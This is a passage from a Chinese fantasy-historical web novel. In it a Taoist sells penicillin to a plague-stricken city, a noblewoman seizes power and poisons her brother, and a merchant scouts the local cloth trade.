潘掌柜倒是不愿意和他继续兜圈子,话语中的警告意味不言而喻,当然也主要是被李归一大言不惭的话给气到了。 这会心想等他将这药剂带回去,用在那患者身上,若是毫无作用,他便当即将这胡言乱语的道士打杀了便是,省得出了门将坎城消息透露出去。 李归一倒是不畏惧,主要也是对药效有信息,毕竟九分之一的概率,他不至于这么倒霉就遇到那最差的结果吧? 再者说了,若是真那么倒霉,他可以再送对方一支,好让他们再试一番。 这会淡定笑道:“潘掌柜随意用。哎呀,这一路走来是有些口渴了。” 潘掌柜:你小子,还装上了对吧? 不过转念又一想此人喝茶也好,权当等等结果,他正愁没个台阶能留下此人,倒是没想到对方竟然自己递了个台阶? 但与此同时,不由生出疑惑。 这人竟然真这般淡定?到底是蠢货一个,还是虚张声势,还是有真才实学? 不然不至于敢主动开口留下来? 潘掌柜心中虽然疑惑,但此刻最重要的还是看事实说话。 让手下伙计给李归一泡茶,另一人则是拿着那青霉素迅速前往坎城守卫处,而后将这药剂转交给对方。 经过层层转递,此药迅速出现在虞珠面前。 她早就听潘掌柜传过来的话了,说门外一道士带来此药,说是能解城内瘟疫。 虽说虞珠也不是很相信会有这般药物,但眼下眼看没别的办法,若是放任瘟疫传播,很快坎城内的人就会死掉一大半,这对于她来说绝对是很麻烦的一件事。 于是在这什么青霉素被送过来时,此药很快便在虞珠的批准下应用在一患者身上。 当然了,自然是询问了那患者后才应用的,毕竟按潘掌柜传递过来的消息,那道士说此药有一成的死亡几率,所以还是提前说清楚的好,省得之后人死了还要区分责任。 等待的时间甚是漫长,虞珠中途处理了两次公务,在展开查阅公文时,门外传来急促的奔跑声,虞珠放下毛笔,心想看来这药剂是有效了。 门打开,下属立即跪地汇报,果然不出她所料,这药物是有效果! “虞大人,根据郁大夫所说,此药能明显降低患者的体温,且在服药后,患者的津液均呈现出清亮透明状态,而非原先的黄浊状态,这便是体内的炎症正在消除。 虽那病患还不曾好透了,但郁大夫说此物定为有用。” 郁大夫此人医术高超,在坎城爆发瘟疫后,此人便战战兢兢,尽职尽责的奔赴第一线,丝毫不畏惧自己也有被感染的可能。 而这试药的人也是他门下的弟子,甘愿做了这试药人选。 既确实有用,虞珠自然是立马让下属将大量采购的消息传递出去。 等消息传到潘掌柜的耳朵里时,此刻李归一已经喝了他好几种好茶,这会正恼火心疼,又强忍不发而已。 好容易等到消息,潘掌柜立即期待问道:“如何?可有用?” 反正对他来说有用没用都算是好消息。 若是有用自然最好,全城的人都能得救,但若是无用,对他而言也算好消息,他非得亲自打杀了这贼子不可,一来二去,此人甚是让他烦躁得没边,还偏偏无法动手,毕竟眼下结果还不曾出来,李归一处于一个他所不清楚的状态。 无法选中,无法知晓如何对待他,只能憋着气受着。 “哎,潘掌柜,虞大人的意思是大量采购。” 轻飘飘一句话,潘掌柜立马晓得了——这居然还真的有用? 这会扭头去看那李归一,还一副悠然自得模样在饮他最贵的一款茶。 这会潘掌柜倒是顾不得贵不贵了,而是快走几步,面露急切。 “道长,先前是鄙人招待不周,还请道长见谅,毕竟鄙人见识短浅,实在是不曾听过这还有能治愈瘟疫的药剂。 既这药剂是实打实的有用,不若我们来谈谈购入药剂的价格?” 李归一悠然一笑,倒是不着急回答,而是慢慢解释。 “此药效好是因为我等采用了生长周期长达百年的药材,再辅以至阳之火烘烤,而后才能凝聚成此药。 想当初我等为研制出这药,宗内硬生生熬死了多少位天才,这才能顺利熬制出此药来” 这话自然是李归一瞎编的,但是不重要,至于潘掌柜也不至于会全信。 毕竟他知晓这故事的隐晦含义。 ——我这药来得不容易,得加钱。 但无奈,人在屋檐下不得不低头,眼下对方正是看准了他们坎城需要这救命药,别说报价贵,就算是真坑他们,他们都得打掉牙往肚子吞,还得谢对方给自己一个能买药的机会。 等到询价时,潘掌柜本以为自己做好了心理准备,但依旧被对方的大胃口吓了一跳。 这道士真他爹的心黑,一开口就是要坎城一年的全城财政收入! 这可是一个巨大的数额,一个足以让他无法轻易下决定的数额。 此事他必须要上报给虞大人,请虞大人定夺才是。 这会瞪大眼睛,一副“你还真敢这么要”的模样,而李归一则是一脸痛心疾首的大呼小叫。 “哎,潘掌柜,我这价格还是看在你请我喝了不少好茶叶的面子上才报出来的低价,要知道这等神药,别说一年财政收入,即便是三年五年又如何?” 潘掌柜:???你自己说这话骗过自己了没?别真给自己都骗过去了啊! 眼看潘掌柜一脸见了鬼的模样,李归一缓缓叹气,又言之凿凿道:“我来给你算笔账。我这药能救坎城九成的人对吧? 想想看,一个成熟的劳动力需要多少年才能养成?更别提一个懂得如何书写文书,如何算账,如何懂得治水的这些专业人士,培养起来更是费心费神。 不过是损失一年财政营收而已,若能将这些人才保留下来,才是真正的留得青山在不怕没柴烧啊!” 第235章 抄家 初闻这道士竟要坎城一年财政收入时,潘掌柜自然觉得他疯了。 但此刻听着对方的话,他倒是莫名品出了一种自己占了便宜的错觉。 ——或许确实如同他所说,只有留下这些人才,才是留得青山在不怕没柴烧? 这会倒是不说话,抿嘴思索。 “此事兹大,我得上报给虞大人才是,至于还要不要买,全看虞大人的打算。” 潘掌柜思索片刻,终于做出回复。 李归一倒是没觉得麻烦,毕竟这牵扯的数字实在是大,要是对方想都不想就答应了的话,他才更是谨慎,如今这番不过正常行为而已。 很快,李归一的报价就呈递到了虞珠面前。 听到这报价的不仅仅是虞珠一人,还有其余人也在当场,此刻各个瞪大眼睛,而后恼怒。 有人恼怒。 “这等奸商,竟敢要如此高价,这坎城一年财政收入,多大的一笔数字,他不会不知道吧?” 有人愤懑不平。 “是啊,虞大人,我等难道真的要答应此人这要求?实在是过分。” 还有人还在琢磨那道士所说之话,有些动摇。 “虞大人,此人虽说贪婪,但他说的没错,花费一年财政收入保九成人口绝对是值得的,一来这种较难培养的人才必须得留着,不然日后我等治理幽州会少了许多助力。 二来便是若成功医治瘟疫,想来日后虞大人的名声自然会更上一层楼。” 此人这话倒是不假,如今坎城众人还不晓得她会代替虞姚上任,但若是一直拖下去,到时候人都死光了,她们重新发展难道不是浪费时间?相比于可预估的损失——一年财政收入,和不可预估的损失,虞珠自然知道该选哪个。 还有人提出了别的看法。 “这道士忒黑心,依我看不如将他绑了,细细问出那药物是如何做的,这样便不需要纠结犹豫了。” 虞珠瞥了他一眼,不等她开口,立即有人反对。 “此言差矣!如今坎城遇到的危机可是实打实的,这么多人还等着药剂救命,那道士手上恰好有我们所需要的解药,可谓是天意。 虽说这道士确实要价高,但我等还不知晓对方后台,若是贸然出手导致对方逃走,这瘟疫的解药到时候我们去找谁要? 且最为重要的是,万一对方背景强大,因为此事和我等结仇岂不是得不偿失?” 此人说话有理有据,眼看众人逐渐流露出信服姿态,他又开口补充:“退一万步讲,我们抓到了这道士,但他极大概率只是个负责售卖药剂的,根本不晓得如何去做。 这样一来,我等岂不是鸡飞蛋打? 依我看,不如先同意交易,毕竟这解药对于我们坎城来说十分必要,等到交易完成后若心有不甘,则可以观察此人。 观此人背景,身份,可否会别的古怪术法,毕竟我听说那黎州的景旭宫便各个修邪法。 只有等一切都观察妥当后,确认无风险再动手也不迟啊。” 这话倒是很令人信服,毕竟对于一个突然出现的,能治疗瘟疫的古怪神秘人物出现,众人其实心底均是多了几分忌惮,在没摸清楚对方是敌是友,身份如何,能力几何的情况下,其实没人想随意动手。 眼看此人深思熟虑,将她原本要说的都说了,虞珠稍作补充,便命令人去做了回复。 与此同时,虞珠下令准备各种各样对方要求的硬通货,马车,马匹,绸罗缎锦,金银珠宝,茶叶,矿产等等,只为了迅速交换到那青霉素好救治全城。 潘掌柜知道后自然也不再多说话,毕竟虞大人他们已经做了决定,他要做的只是执行而已。 李归一则是迅速联络到了先前负责配送青霉素的那群人。 等到两方将货物和药品互换后,李归一这才跟着这群人走向高级符咒的传送地点。 毕竟他的最后一项任务便是将兑换回来的物资顺利带回。 相比于坎城送出城的数量众多的货物,运送进来的青霉素就显得小巧多了。 仅仅是三个马车足矣。 虽说数量那道士保证,绝对够他们坎城使用,但无论怎么看,第一眼都会让人有种被坑了的错觉。 不过既然药已经到手,自然必须迅速发放下去才是。 在郁大夫的主张下,这药剂从上到下,迅速发放给城内的居民。 根据那道士所说,若想等彻底好透的话,得三天才能看清楚效果。 三天 只能等着三天结束后,看看这结果到底如何。 而与此同时,李归一则是带着队伍慢悠悠赶往目的地。 他身后,倒是不出意外的坠了几个偷偷摸摸跟着的人。 身后之人的气息,李归一早就察觉,但他并未声张。 ——都不用猜测,这几人定是坎城派来的,毕竟换位思考,他也会派人跟踪。 好在对方没有出手的意念,看来只是跟踪。 李归一心想,既然想看就看着,一会等他们消失时,不知道这些人会不会惊得瞪大眼睛? 当然,主要原因也是让对方误以为自己一行人本身就来自于仙域,比一开始暴露是风仙县要安全许多。 很快,李归一一行人便到了地方,等他念着符咒,金光一闪后,连人带货,全部消失在跟踪的那几人眼里。 事情发生的很快,几乎就在一瞬间。 那跟踪的几人还未曾反应过来,就看到眼前原本还长长一串的队伍,此刻刹那间消失不见。 只余林间树叶被风吹得沙沙作响。 几人面面相觑,面露惊恐。 ——他们不同于那见识过景旭宫道士,亦或是永道宫道士的人,这会对于眼前一众人突然消失自然是心慌意乱。 奇怪,这好端端的,人竟然能消失不见? 疑惑之际,几人立即回去将此事禀告给虞珠,等听清楚手下所探查到的画面后,虞珠先是沉默,而后便是叹息。 ——看来对方早就有所察觉,想来这出戏也是故意唱给她看的。 只是这到底是如何做到连人带货消失的? 虞珠虽说听闻过那景旭宫,但也只是听闻景旭宫凶残,对其手段并非特别了解,倒是有一人颇为了解,此刻慢慢解释道。 “这有可能是一种高级术法,名为传送术。 此术法我也只是听过,据说可将物品,包括活着的生命体传送到任意一处。 但此符咒书写起来要求颇高,我听说就连那景旭宫内也不过几张而已。” 虽说是寥寥几句,但众人难免心生忌惮。 既能有这等高级术法,要么是实力足够,要么便是财力非凡啊! 无论是哪种情况都可以看出,对方绝对不好对付。 一时间,众人竟有些庆幸他们当初没随便对那道士下手了,不然恐怕会遇到他们绝对不愿看到的情况 虞珠将此事暗自记在心中,只是如今更需要她在意的是近在眼前的坎城瘟疫,而非是远在天边的道士。 只能先放下此事,派了一支小队负责持续关注此事,剩下绝大部分人手都被她运用在了瘟疫一事。 在他们一行人战战兢兢等了有三天后,城内病患果然按照那道士所说,纷纷痊愈。 其中自然有人死去,但更多的人活了下来。 且统计一番后得出,活着的人可要比九成要高! 派人将尸体像以往那样烧掉处理后,虞珠则是进了那虞姚所在屋内,将最后一碗毒药灌了进去。 虞姚瞪大眼睛,终于在不甘和痛苦中结束了这一生,临死前他看到的只有高高在上的嫡姐。 她看他的眼神冰冷,像是看一个已死之人。 人在临死前,最后消失的是听觉,眼前一片黑暗袭来时,虞姚听到了对方慢慢悠悠道。 “别急,很快我就送你熟识之人下去陪你。” 虞姚想呐喊,想发怒,想对着她大喊大叫,但事实上,他只是身子一歪,软在了榻上。 死后秽物瞬间涌流而出,虞珠冷淡的转身吩咐。 “太脏了,碍眼。一并烧了吧。” 手下人自然应是。 很快,在坎城瘟疫被攻破后,原先静寂的市场再次被打开,百姓相较于先前,自然是活跃几分。 因虞姚之死并不方便被透露出去,不然传出去反而容易惹得朝廷,陈京行二人的注意。 他们如今元气稍损,自是先发育一段时间才是硬道理。 所以虞珠一行人并未大肆宣扬。 不过其实百姓们对于顶头统治者是谁并不看重,毕竟换了谁对他们来说都一样,那样远在天边的大人物和他们这样的小民可有何瓜葛? 除非上头的大人说能给减免赋税,能给他们吃饱饭。 寻宁和寻凉二人则是继续潜伏在这坎城,关注着城内的一举一动。 等看到虞珠一行人继续以虞姚之名统领幽州时,寻宁很快就知晓一个道理。 ——看来先前两派厮杀时,虞珠一行人也损失不少人,战力衰减,不然不至于要休养生息。 虽说不曾公开显露上头换了人,但私底下,这虞珠一行人可谓是动态频频。 先是派人暗自盯梢着虞家,一个都不许轻易放跑,有罪问罪,暂且塞进牢房,等待过些日子一并示众砍死,好让百姓知晓日子有些许盼头。 除了这虞家外,虞珠一行人自然将其余和虞家有所勾连的大家族挨个抄家,对于非虞姓大家族,虞珠基本上是当即问斩。 杀死这些人,倒是让百姓欢呼几分,毕竟这些人也是无恶不作,百姓苦于他们许久,只是原先虞姚护着而已。 虽说抄家是抄得频繁了点,但毕竟按照虞姚此人的脾气性格来看,抄自己的家不行,但若是没钱了,抄别人的家可以。 这倒也像是虞姚能做出来的事。 一时间,整个幽州人心惶惶,尚且还不知晓顶头上司换了人,只是生怕虞姚这厮抄家抄到自己头上,这会聚众探讨一番,决定还是乖乖给这位送银子算了,省得人家亲自上他们兜里掏。 第236章 谎言 幽州坎城。 抄家一事闹得沸沸扬扬,原先不少百姓觉得生活甚苦,没什么盼头,但如今眼看最近这抄家频率,倒是欢呼雀跃几分,毕竟被抄之人多多少少都是犯了民怒的那类,百姓不思背后到底如何,只以为是虞姚杀的。 私底下纷纷传言说恶人自有恶人磨。 当然了,这话只敢和自家人说说,出了门谁也不敢大肆宣扬,毕竟到底还是他们也落的好处了,嘴还是闭紧一些的好,省得让人听了风言风语,到时候反而连累家人。 有人欢喜有人愁。 读过书的人则是心生疑惑。 怎么会这么突然就开始大肆抄家了? 难不成是虞姚总算打算整治一番封地? 但看虞姚那性格也不像是啊! 莫非是急缺钱? 想想看吧,什么情况下才会急缺钱,要么是打算大兴土木,要么便是打算为行军打仗做准备! 一时间不少人都打探纷纷,发觉坎城并未传来什么大动静,众人难免脑回路一致。 ——这莫非是要开始打仗前所需要做的准备? 毕竟天下三分也确实许久了,总这么分着也不是个事,或许是那虞姚有心思再和其余二人斗争一番? 不少人查看之余,开始默默囤积粮食,毕竟一旦战乱过来了,这粮价是最先高走的。 景旭宫。 话说先前那虞姚的求救信确实送到了对应的人手里。 但至于为何耽误了,便是因为风侯长老近日沉迷于那《青梧引》,练得如痴如醉,自然耽误了求救信来的时机。 等到他发现时,求救信从虞姚的一封信,已经转变成了虞家的三封信。 这三封信自然是他原先的老相好榴娘寄过来的。 榴娘便是虞姚的亲生母亲。 当初榴娘为了前途毅然选了那虞家,毕竟当初他不过是一穷小子而已,不曾有钱有势,自然也留不住喜欢的女人。 当时他无奈之下来到了这黎州元城,阴差阳错进入了景旭宫,先从外门弟子做起。 风侯原先在武学上颇有造诣,但当初他在幽州能做的活计除了参军,不曾有什么好活计,武馆早就不招人了,镖行最近也是日子难过,他搜罗一圈,无奈发现除了远走他乡别无他法。 但也是运道到了,自从他来到这景旭宫后,虽说先做的是外门弟子,却因为手段狠,运气好,意外救了那宫内长老,合了长老眼缘,被破格收为座下弟子。 等成了座下弟子后,风侯潜心修炼,因他修炼资质十分突出,自从得了长老垂青,资源,功法,自然是管够,他的实力迅速暴涨,同时给这长老做了不少任务,次次处理得满意,这一来二去,风侯就成了长老座下最得力干将。 如此循环,风侯逐渐在这长老的培养下实力逐渐强大起来。 当初他刚年过三十,原先因为家贫不曾享受过什么荣华富贵。 但自从成了景旭宫长老旗下的得力弟子后,一时半会,竟是财富地位都有了。 突如其来的富足让他差点难以把持,在这泼天富贵中走了一圈,他觉得自己很快就会迷失,但好歹他有理智,知晓无论如何不能影响景旭宫这边的事情,一切要以景旭宫为最优先级别,毕竟他一切来源于景旭宫,若是没有景旭宫打底依托他,他所得到的一切很快就会再度失去。 而与此同时,他却意外的想回幽州看看,这念头很是强烈,风侯遵循心思回去探望故乡,却意外看到了榴娘。 眼看原先喜欢的女子依旧貌美,风侯发现他还是心动不已,当天找机会联系上榴娘,等对方知晓他如今过得很好后抹了抹眼泪,告诉了他一个让他震颤不已的消息。 ——虞府嫡子,也就是虞姚,是他亲生孩子。 榴娘哭诉当年她是为了他们的孩子才选择进入虞家,如今看到风侯也过得很好,她就放心了。 此话一出,风侯顿时觉得心头感动,而后发誓若是日后榴娘有任何需要他的地方,他都会赶来,做她的后盾。 两人就这样一番云雨,旧情复燃了。 不过两人联络起来很是谨慎,毕竟在风侯看来,榴娘如今要忍辱负重,跟在一个自己并不爱的男人身边讨生活,他该小心一些才是。 好几次他都想说让榴娘跟着他过,但均被对方婉拒,从此风侯不再提这事。 二人各自生活,倒是两方都过得痛快。 风侯还记的时不时关怀一番虞姚,毕竟这可是他唯一的儿子! 等到虞姚岁数稍大一些时,风侯当时已经精通于术式,因关切虞姚,给虞姚算了一卦,倒是算出他日后竟是不可多得的帝王命! 这番发现让风侯很是吃惊,但卦象显示得清楚,他自己看了又看,欣喜得不得了。 ——好啊,这样日后他就有个能当帝王的儿子了!只不过这卦象显示阴宅不平,到底是何缘故? 风侯思索一番,先将此事告知榴娘,等对方支支吾吾说出先前被逼死的虞家主母,风侯第一反应想的是孤魂作祟。 自然是给她做了一番术法,将那所谓的阴宅不平一事处理掉。 这会放心了,想来日后没人能再去干扰他儿子的前途。 期间随着虞姚长大,风侯倒是在榴娘的祈求下私底下帮过不少虞姚,一来好歹是心爱女子和他的孩子,二来是若是日后虞姚真的成王,榴娘答应过他,倒是会让他们父子相聚。 风侯想得很好,儿子有着权利,他精通术法,日后虞姚可算的上他在景旭宫内部的一大助力了。 先前风侯只是靠着长老得来修炼资源,但这么多年过去了,那长老人早在前两年一次任务中死去,人死魂灯灭。 既没有了长老作为后盾,风侯也感受到了在这景旭宫内若是没有后台是多么难受。 所以无论是看在榴娘的面子上还是虞姚日后有望成为他的助力面子上,他都想着试着搏一番。 其实如若这虞姚不是他亲生孩子,他不会这般帮扶他,但既然是有血缘关系的,那日后相认起来定是顺利,再加上榴娘经常软绵绵在他耳边念叨,“血缘关系是斩不断的,到时候你们相认,姚儿一见你定会觉得浑身亲切,毕竟你可是他的生父啊。” 当初他还有些不自信,毕竟他缺席这么多年,虞姚日后真能认他? 但很快就被榴娘娇声细语劝下。 “怎地会呢,你在背后帮了姚儿这么多,等到日后你们相认,他知晓他能走到今天这一步,在背后他的生父没少帮他,姚儿定会感动不已,别说你本就是他的生父,和他有着血缘关系,即便不是,那孩子心善公正,自然也会将你当养父对待啊。” 榴娘会说话,一套套哄着他,倒是让风侯心甘情愿为了虞姚解决处理烂摊子。 而他却浑然不觉,在自己沉浸幻想之际,身旁的榴娘眼内闪过一抹精光,而后消散。 等从回忆回神,风侯看到那几封信,心中顿觉不妙。 斥责身旁负责伺候的座下弟子。 “我有信件为何不告我一声?” 弟子吓得直抖嘴皮子。 “长老,您忘了?修炼前是您说让我们除了宫内事务,其余事一律不许打扰您” 风侯烦躁,他确实说过,但谁能想到就他修炼这几日,竟然能来这么多信件? 且以往榴娘给他寄信时自然是少的,哪像是如今一下寄了好几封? 这会恼怒的呵斥弟子退下,自己则是先打开虞姚的看了一眼。 这不看不要紧,一看吓一跳。 那信件所说,虞姚被他嫡姐反叛,如今偌大的幽州即将要改成那虞珠的了! 风侯看得眼皮直跳,心里怒骂虞姚废物,而后脑内却不自觉电光火石般闪过原先他给虞姚看过的批命。 ——原来那日所写阴宅不平指的是从后院爬出来的虞家主母膝下的女儿,而非他会错意的虞家主母生魂。 这么一想,先前他批命时看不透的东西顿时瞬间全连上了。 风侯懊恼万分。 当初他不是没想过这等解法,但当时他骄傲自满,认为内宅妇人不可能能做到这番事,综合考量一番,他宁愿相信虞家主母的魂魄作祟,也不愿意相信虞珠能闹翻天,从虞姚手中夺走那所谓的将王命。 此刻反而被这虞珠将军,恼怒不已。 毕竟如今虞姚已成为幽州的王,他日或许能和其余二人一争天下,若是运道好,虞姚甚至有机会做个皇帝当当,而他到时候便是太上皇! 景旭宫如今还要看皇帝的眼色,若到时候他是那太上皇,岂不是在宫内也算是十分具有话语权的存在? 想归想,但虞姚如今闯下如此祸端,他自然颇为郁闷,他如今能在他的师父死后,不久又能在宫内保持地位也是因为虞姚的缘故。 虽说景旭宫明面上是天子的人,但为了景旭宫的延续,其内长老立场自然是三派都有支持,尽量做到一个制衡作用,起码三方大战时,他们景旭宫处于一个中立态度,不参与。 表面上是中立状态,但大部分长老会私底下帮助自己所投资的派别,自然这都是后话了。 如今眼看自己在景旭宫内部地位不稳,风侯比谁都着急,再展开看完了另外三封榴娘寄过来的信后,倒也大概明白了那幽州目前情况。 根据那信中所写,虞姚被关押在坎城内,而虞家处于被叛军监控状态。 榴娘特意写道,若是他前去定能翻转战局,到时候虞姚还依旧是幽州的王。 看消息不算太坏,风侯松了口气,直奔幽州。 但他怎么也想不到的是,他心心念念之人写的情报是美化后故意引他来的,而他在意的虞姚,如今早就和城内的尸体一起被一把火烧得干净。 第237章 有钱途 因着急前往坎城,风侯长老是全程骑马,同时在马背上张贴急速咒。 因此事实在是过于私密,所以他此行只是一人,主要也是怕处理不好此事让景旭宫内部的人知晓他的靠山出了问题,这可就没意思了。 不过虽说人不能去,但他从宫内带了不少有用的符咒和道具,都是宫内能够以一敌十的好玩意,暂且被他搜罗在手上,打算用这些东西将那威胁虞姚身份的虞珠等人弄死。 风侯很有信心,毕竟他这道具若是使用,别说普通人难以奈何,就算是对手永道宫那几个长老来了,他也是丝毫不怵。 不过就是需要预埋,这点比较麻烦,但都能解决,他可以预埋好,让榴娘手下的人将敌人引入埋伏圈内便可。 心中大概生出了几分计划,风侯一路直奔坎城而去,等到风尘仆仆来到坎城,一路上他在休息时自然也打听了一番城内动静。 等听闻虞姚最近正在大肆朝着世家开刀时,风侯心想看来那虞珠自然已经是控制了大权,毕竟别人不知,他岂能不知? 这些世家,搁在以前,虞姚就算是再混蛋,也不敢动的。 如今既然对方挨个攻破,那便是上头的人早就不是虞姚了。 心中微微沉寂,倒是难免不由担心起榴娘。 ——她说他们被监禁起来,但那是好几天前的情报了,如今到底如何? 心中忐忑,行进速度自然快了几分。 等到风侯来到砍城附近,他停下脚步。 这会没着急进入,而是先看看情况。 因他假装给马匹喂食,自己又优哉游哉喝水吃饭,所以一番停留并没引起别人注意,倒是让他听了几耳朵情报。 “坎城总算是开放入城了,前些日子坎城捂得严严实实,不少过来走商的都碰了一鼻子灰回去。” “竟然有此事?这倒是显得我等运道不错啊!竟是能赶到坎城开门。” “谁说不是?这来回路费,人马的吃食得花多少钱?那些人回去各个喊着赔本!” 接下来的聊天内容没什么值得关注的了。 风侯仔细琢磨这几句话,倒是难免惊诧。 毕竟虞姚的信件上写着,他早就在城内散播瘟疫,绝不让对方舒舒服服拿下坎城。 先前风侯来的时候,为了避免被感染,倒是带了许多庇护符,可以保护他暂时不被邪气入侵体内。 这会倒是人来了,还没用上呢,城门先开了。 既然敢开城门,那便是意味着城内至少是没有瘟疫了,不然开了门,岂不是让这瘟疫传得更快? ——只是,这到底是如何做到的? 目前真有能治愈瘟疫的药物?若有这好物,他竟然是从未听到过? 风侯惊奇,心中不免对虞珠更加警惕。 ——此女实在是不同于那些后宅女子,不仅能制服虞姚,更是能解瘟疫,他得小心点来,不然今日有可能都回不去。 更警惕几分后,风侯沿着一条路进入那城内,别的不曾察觉时,率先察觉到了一股熟悉的符咒波动。 这是高级传送符的气息! 而且细细品味后,风侯很快便分辨出此符咒正是老对手永道宫所画符咒。 但这里怎么会有永道宫画的符咒存在?莫非是这城内夺权一事永道宫也掺和进来了? 奇怪,原先这永道宫不是说出世么,怎么现在竟然会主动加入这番权利争斗中了? 风侯觉得不对劲,但他必须要进去查看一番后再做决策。 等他人进了城内,首先察觉到的是城内人口数并未明显减少。 此刻不由蹙眉——奇怪,这一场瘟疫过去,就算再怎么有手段,总不至于全部救活了? 难道这些人都是外地人? 风侯仔细观察,发现不少人都说的是幽州坎城的特殊方言,并非是外来人口,这番发现让风侯更是忌惮无比。 本地人?看来虞姚搅浑池水并未成功,这么多人都是本地人,风侯甚至怀疑是不是这坎城根本就没犯过瘟疫,一切都是空穴来风的谎言? 但虞姚不至于这般骗自己,毕竟他自己都要死了,还骗什么骗! 风侯带着一肚子疑惑,还是决定先去找找榴娘,看看对方是否能解他疑惑。 等他人到了虞府附近时赫然一惊,发现确实如同那信件所说,虞府被包围得严实,整个虞府,别说想跑,就算是连一只苍蝇都飞不出去。 原先他还想着让榴娘助他一臂之力,如今看来,这恐怕只能靠他自己了。 虽说有些失望,但既然他人已经到了坎城,自然要想方设法将属于自己的东西夺回来,风侯先是找了个客栈住下,而后决定先观察一番,同时暗自思索自己手中的道具到底该如何使用才能效果最大化。 只是自是需要时间,不过如今虞姚被人擒在府内,榴娘也见不到,风侯只能劝自己慢慢来,不然若是他因为冲动被敌人捉拿住,这可真是完了。 幽州坎城逐渐转好,而先前护送着数辆马车回去的李归一也总算是松了口气。 当日他带领马车赶回风仙县时,方大人意外地居然还出来迎接他,这让李归一小小的惊叹一番,当时方大人笑得温和,言语中难免表露出对他的几番关怀,这让李归一顿时心里暖暖的。 ——行吧虽说方大人心是黑,但她还是懂得如何拿捏人的么!至少他被当日众人那目光看得很是心生激动。 毕竟顺利换回来这么多物资,这对整个风仙县来说意义重大,那坎城规模可要比风仙县大多了,那么大一座城一年的财政收入自然也足够风仙县花个三年了。 前提是别大兴土木。 李归一心情不错,被周围百姓敬佩的眼神看得心神荡漾,顿时觉得自己干活都有劲了,这会对着方大人一拜。 “方大人若是日后还有需要我效力的,尽管吩咐,能给风仙县的经济添砖加瓦,李某这心里觉得舒坦许多。” 原本只是出去查看隔壁县域发展到底如何的方知意,她倒是没料到这么巧和李归一等人遇上,但既然遇到了,她也就顺路给属下说几句好听话,反正遇到遇到了,这就是她特意过来接人的。 等和李归一寒暄完后,方知意笑道:“还请李道长带人将这货物送入官府内,我等顺路出城一趟。” 等到方知意带着一大帮子人走了后,李归一还带着队伍往回走呢,这会突然觉得有些不对劲。 ——等等,倒是接他是顺路的还是去别的县是顺路的? 几乎片刻,李归一就明白了,这会哭笑不得,合着他才是顺带的那个? 但索性一想,罢罢罢,好歹方大人还愿意为他费心思,这夸不也得花费心思和时间? 顺路接他,和顺路出城,谁先谁后有区别? 李归一很快就给自己哄好了,等到浩浩汤汤的货物成流水往下卸下来时,风仙县内百姓惊诧不已。 这么多东西?哎呦——这全是值钱的东西啊!怎么,他们风仙县到底是去干嘛了才有这么多货物? 难不成出去打仗了? 一般只有战争后才能收割这么多东西吧? 众人各个怀疑,但没人敢问,毕竟众人早就养成习惯,若是官府愿意告知的,定会改日出现在报纸上,若是不愿意的,那自然问了也是白问,还容易被误以为是细作。 一想到这点,汇聚起来看戏的众人立马散了。 风仙县该叫卖的叫卖,该走动的走动,热气腾腾的食物香气,孩童的玩闹声,行人走动声,马匹嘶鸣声,倒是汇聚成了一片和谐的乐曲。 赵金构隔着窗户看向楼下,自然将这一长串货物看得清楚,他自然是知晓这货物到底来自于何处,毕竟那丛喜好歹还是他手下李思的人呢! 既能带回来货物,说明那则生意是成了。 赵金构难得陷入沉思,他倒是不自觉想到丛喜在坎城市场考察如何,那坎城可否顺利复制黎州布料行的成功经验? 这些都是未知,还需要时间等着回馈。 话说到丛喜,此人在坎城放开入城后,总算和手下十来号人进了城内。 入城后,一行人很自然的便开始和自家风仙县开始对比一番。 嗯,这儿没有沼气池,没有马桶,也没有沼气灯,一到晚上虽说点灯笼,但看着光线朦胧,让人很是心头昏暗,不得劲。 再看看卫生环境,还算凑合,和那黎州元城差不多,但距离风仙县还差些。 至于街头巷口的烟火气,冷冷清清的,不是很热闹,这点就差风仙县多了。 丛喜心想应当是坎城刚经历瘟疫,就算百姓身体恢复了,但大部分还是觉得该避一段日子,自然这紧张氛围还得一些日子才能消散。 不过值得一提的是,丛喜发现幽州本地人士大都长得比黎州,明州的百姓要高一些,因所有普通百姓都处于一个挨饿吃不饱的状态,不存在是这边人能吃饱,那便是地理原因导致的基因问题,也和温度有关。 丛喜不自觉想起学堂内的教诲,虽说他只是初级班毕业,但却因为自身聪明机灵,倒是能够跟着李思忙活,收入还不错。 此时眼看天黑,需要入住客栈休息了。 丛喜受上次刺激,这会对于入住客栈很是谨慎,观察一番尚且无误后,这才带着众人进入客栈内,等到第二日,他便开始和手下十来号人忙着走访城内的布料铺子,一行人效率很快,等到晚上碰头时,丛喜很快得出结论。 有搞头!且是巨大的市场! 这幽州百姓可比他们想象中的更为爱美!甚至比那黎州还要邪乎! 第238章 加入 要说丛喜确实是被这等消息惊诧到了,毕竟来的时候他们早就做好了此地可能并不会多追捧风尚。 但调查显示的结果恰恰相反,别说幽州比较偏,也和那黎州势不两立,但毕竟三分天下较短,幽州明里暗里,多多少少都会受黎州风尚影响。 大部分人的时尚来源完全是出于借鉴元城的时尚,毕竟往年布料商行进货时,也均是从那元城拿到不少新花样,无论是颜色,亦或是裁剪,或者是上面的提花,绣花,均是那元城的缝工们更为熟练,且创新较多。 为了表面上的和谐,大都是商人进货后将此布料来源设计为幽州境内,稍作改善,便成了幽州自己的风尚潮流。 至于当初的虞姚也知晓此事,但在虞姚看来,既然已经经过包装,设计成为幽州出产,那便是他们幽州产出,倒也懒得追究。 以至于如今幽州还保持着暗地里向黎州看齐的默认想法。 而丛喜一行人打探到的消息便是如此,更好的消息在于,这幽州布料行的人正因为黎州布料行的更改,此刻也正在逐渐慢慢更新颜色,好让自己能跟上黎州布料的色系图,不然日后进货,沟通起来岂不是麻烦? 等听到这消息后,丛喜知晓,他们的机会来了。 原先还以为推广要付出不少心血,现在一看,黎州市场的铺展已经让幽州市场逐渐开拓,地基已经打好了,如今可算是便宜了他们。 不说别的,既对方已经知晓冠绝黎州的布料店,日后至少很容易让人信服。 丛喜心生欣喜,如今便是需要他们出面和对方谈论了。 这会自然挨个拜访一番。 为了安全和试验对方态度,丛喜先找的那种中等规模的布料商进行拜访,看看有没有合作的可能,对方口风如何。 起初那布料商人很是谨慎,颇有一番话不投机的感觉,而等听到他们是来自黎州最近最为火爆出名的那家连锁布料行后,总算是愿意聊聊了。 二人聊了一番,这商人对别的方面甚是觉得惊奇,但对于他们连锁店开设一事又微微蹙眉。 “虽说我们私下也是从黎州购入布料,但毕竟是私下,如今若是改了黎州连锁店的名字,我等的脸面往哪里放? 